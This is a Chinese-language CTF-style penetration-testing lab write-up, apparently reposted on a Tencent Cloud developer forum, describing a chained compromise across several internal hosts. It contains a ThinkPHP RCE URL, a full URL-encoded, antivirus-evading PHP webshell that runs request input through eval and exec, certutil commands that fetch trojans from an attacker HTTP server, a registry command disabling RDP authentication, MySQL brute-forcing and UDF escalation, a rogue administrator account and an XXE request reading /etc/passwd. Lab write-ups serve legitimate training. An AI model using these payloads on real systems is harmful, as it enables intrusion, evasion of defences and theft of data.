网络拓扑示意
http://172.20.56.32//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\flag.txt
尝试通过ThinkPHP 5.0.22/5.1.29 RCE写shell,写入一句话发现会被删除,查看进程发现有360
那么就写入免杀webshell,对wenshell要进行url编码后进行上传
http://172.20.56.32/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3fphp%0a%2f%2f+%e5%ae%9a%e4%b9%89%e6%b7%b7%e6%b7%86%e5%87%bd%e6%95%b0m%0afunction+m(%24a%2c+%24b%2c+%24c)+%7b%0a++++return+str_replace(str_split(%24a)%2c+str_split(%24b)%2c+%24c)%3b%0a%7d%0a%0a%2f%2f+%e5%ae%9a%e4%b9%89%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%95%b0%e7%bb%84S%ef%bc%8c%e7%94%a8%e6%9d%a5%e5%ad%98%e5%82%a8%e9%9c%80%e8%a6%81%e6%b7%b7%e6%b7%86%e7%9a%84%e5%87%bd%e6%95%b0%e5%90%8d%0a%24S+%3d+array(%0a++++m(%22ncoai%22%2c+%22msyte%22%2c+%22cocain%22)%2c+%0a++++m(%22sir%22%2c+%22cex%22%2c+%22iris%22)%2c%0a++++m(%22otab%22%2c+%22lshe%22%2c+%22taboo%22)+.+%22_%22+.+m(%22sir%22%2c+%22cex%22%2c+%22iris%22)%2c%0a++++m(%22gbledin%22%2c+%22upasthr%22%2c+%22bleeding%22)%0a)%3b%0a%0a%2f%2f+%e8%8e%b7%e5%8f%96%e7%b3%bb%e7%bb%9f%e5%8f%82%e6%95%b0D%0a%24TR+%3d+m(%22etroubl%22%2c+%22edisabl%22%2c+%22trouble%22)%3b%0a%24MK+%3d+m(%22dpreambl%22%2c+%22sfunctio%22%2c+%22preambled%22)%3b%0a%24D+%3d+explode(%22%2c%22%2c+ini_get(%24TR+.+%27_%27+.+%24MK))%3b%0a%0a%2f%2f+%e8%8e%b7%e5%8f%96%e8%af%b7%e6%b1%82%e5%8f%82%e6%95%b0P%0a%24P+%3d+%24_REQUEST%3b%0a%0aforeach+(%24S+as+%24A)+%7b%0a++++%2f%2f+%e5%a6%82%e6%9e%9c%e6%95%b0%e7%bb%84S%e4%b8%ad%e7%9a%84%e6%9f%90%e4%b8%aa%e5%85%83%e7%b4%a0%e4%b8%8d%e5%9c%a8%e6%95%b0%e7%bb%84D%e4%b8%ad%0a++++if+(!in_array(%24A%2c+%24D))+%7b%0a++++++++%2f%2f+%e6%a0%b9%e6%8d%ae%e4%b8%8d%e5%90%8c%e7%9a%84%e6%9d%a1%e4%bb%b6%ef%bc%8c%e6%89%a7%e8%a1%8c%e5%af%b9%e5%ba%94%e7%9a%84%e6%93%8d%e4%bd%9c%0a++++++++if+(%24A+%3d%3d+m(%22ncoai%22%2c+%22msyte%22%2c+%22cocain%22))+%7b%0a++++++++++++%2f%2f+%e8%b0%83%e7%94%a8%e4%bc%a0%e9%80%92%e7%9a%84%e5%91%bd%e4%bb%a4%0a++++++++++++if+(isset(%24P%5b%27lol%27%5d))+%7b%0a++++++++++++++++eval(%24P%5b%27lol%27%5d)%3b+%2f%2f+%e6%89%a7%e8%a1%8c%e4%bc%a0%e5%85%a5%e7%9a%84PHP%e4%bb%a3%e7%a0%81%0a++++++++++++%7d%0a++++++++%7d+elseif+(%24A+%3d%3d+m(%22sir%22%2c+%22cex%22%2c+%22iris%22))+%7b%0a++++++++++++%2f%2f+%e6%89%a7%e8%a1%8c%e5%91%bd%e4%bb%a4%e5%b9%b6%e8%be%93%e5%87%ba%e7%bb%93%e6%9e%9c%0a++++++++++++exec(%24P%5b%27lol%27%5d+.+%22+2%3e%261%22%2c+%24arr)%3b%0a++++++++++++echo+join(%22%5cn%22%2c+%24arr)+.+%22%5cn%22%3b%0a++++++++%7d+else+%7b%0a++++++++++++%2f%2f+%e9%bb%98%e8%ae%a4%e5%a4%84%e7%90%86%0a++++++++++++if+(isset(%24P%5b%27lol%27%5d))+%7b%0a++++++++++++++++eval(%24P%5b%27lol%27%5d)%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++++++%2f%2f+%e6%89%a7%e8%a1%8c%e5%ae%8c%e6%af%95%e5%90%8e%e9%80%80%e5%87%ba%0a++++++++exit%3b%0a++++%7d%0a%7d%0a%3f%3e%0a
成功用蚁剑连接
发现当前的webshell权限很低,因为是windows,所以尝试上线cs进行提权
上传免杀木马2.exe
rce漏洞执行木马
http://172.20.56.32//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=C:\phpstudy\2.exe
权限维持的话,我们通过抓取到明文密码,获取到了administrator的密码,只需要开启rdp,测试发现rdp连接的时候会报错
经过上网查询资料,发现是因为rdp的网络级别身份验证出问题,所以彻底禁用 NLA,就可以成功连接
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
这会 关闭远程桌面的网络级别身份验证(NLA) ,允许较旧的身份验证方式。
Tp@cslKM
远程连接后卸载杀软。准备进行内网扫描。
根据flag1中获取到的shell,对内网进行扫描,使用cs上传fscan进行内网扫描。
172.20.57.98
和10.0.0.65
单独扫描一下172.20.57.98全端口
总结一下收集到的信息
10.0.0.65应该是第二张网卡
172.20.57.98才是关注的重点,开放了3306mysql数据库的端口,根据提示,账号密码cslab,可以对数据库先进行爆破。因为存在3389rdp端口,也可以尝试用cslab爆破
为了我们的电脑方便攻击,这里使用毒液(venom)搭建
上传agent.exe到172.20.57.30(也是172.20.56.32)上,执行
agent.exe -lport 9999
在我们的攻击机运行
admin.exe -rhost 172.20.56.32 -rport 9999
连接成功后就可以设置socks5代理,如下
使用cslab作为账号密码攻击数据库,这里我是用tscan进行爆破,代理工具的话使用一个进程代理工具(也可以使用proxifier)
爆破成功,数据库账号密码root:cslab
爆破失败了
成功登录mysql数据库,进行信息收集,包括数据库版本,还有数据库里面的内容,还有配置文件
使用刚才搭建的代理连接到数据库,发现数据库版本5.7.44
发现数据库中的敏感信息,根据数据库表信息,猜测大概是一个博客用的数据库。这里发现了用户的信息
guid 24d876c8772572cf839674c5a176e41c
user cslab
pass 6e272dff11557a1e7ad35d0fdf1162c3 #尝试爆破这个密码,但是无果
email null@null.com
ip 10.0.0.65
查看mysql是否有写入文件的权限,发现有,所以接下来尝试udf提权
show global variables like '%secure%';
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
这里使用直接反弹shell会反弹失败,说是缺少backshell函数,可能这个udf没有这个函数(我也尝试手动写入,发现无法创建函数),所以接下来的思路是通过远程下载,把做好的木马传到服务器上。测试发现这台服务器有windows的安全中心,会杀马,所以这里还得做一下免杀。关于免杀,这里就不再说了,本人用的也是别人的,自己技术不太好,因为环境需要,我给代理服务器安装了python
172.20.57.30开启http服务
使用mdut工具进行下载(测试发现好多命令不能用,最后用certutil成功下载)
certutil -urlcache -split -f http://172.20.57.30:8000/1.exe 1.exe
certutil -urlcache -split -f http://172.20.57.30:8000/ca.bin ca.bin
成功上传
执行,也是成功上线(cs设置代理转发,设置监听器)
因为前期发现使用的windows版本一致,所以还是使用甜土豆提权
提权查看flag,这里甜土豆提权需要一个回连地址,但是这样做了隧道后,尝试了几次发现无法成功
所以给第一台服务器安装java,然后当作teamserver,这样就可以成功回连了。使用sweetpotato继续提权,拿到第二个flag
创建恶意用户并加入管理员组,然后开启rdp,进行连接(记得走代理)
查看网络信息发现是双网卡,另一个ip是10.0.0.65
使用fscan扫描
发现10.0.0.34主机,开放端口80和22
攻击思路,尝试爆破22端口,查找80端口的漏洞,发现是zblogit,版本信息是1.7.3,找对应漏洞,审计代码,因为在之前172.20.57.98中数据库里面发现了一个zb的表,里面存放用户信息,如果可以破解hash也行,可以先审计一下密码是怎么生成的。
之前在数据库中发现的数据如下。
guid 24d876c8772572cf839674c5a176e41c
user cslab
pass 6e272dff11557a1e7ad35d0fdf1162c3 #尝试爆破这个密码,但是无果
email null@null.com
我们可以自己生成一个用户信息,当然我们可以在数据库替换密码的hash,因为guid是唯一的,ps就决定最后的hash,使用python生成密码admin
https://github.com/fengyijiu520/Z-Blog-
蚁剑连接(记得挂代理)
写入命令
执行就可以得到flag3
因为是linux,我们先上传agent端,然后在write.sh写入运行命令
写入执行命令
提前在10.0.0.65开始监听
运行后,成功搭建
查看发现是双网卡,另一个ip是10.1.1.78
使用tscan扫面出xxe
poc
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 10.1.1.56
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://mail.****.com/zimbra/
Content-Type: application/soap+xml
Content-Length: 436
Connection: close
Cookie: ZM_TEST=true
Upgrade-Insecure-Requests: 1
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
通过xxe就可以拿到flag
后续其他漏洞还没有测试。到这里flag已经全部拿下,过程中还有一些没有测到的,可以自己尝试尝试。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。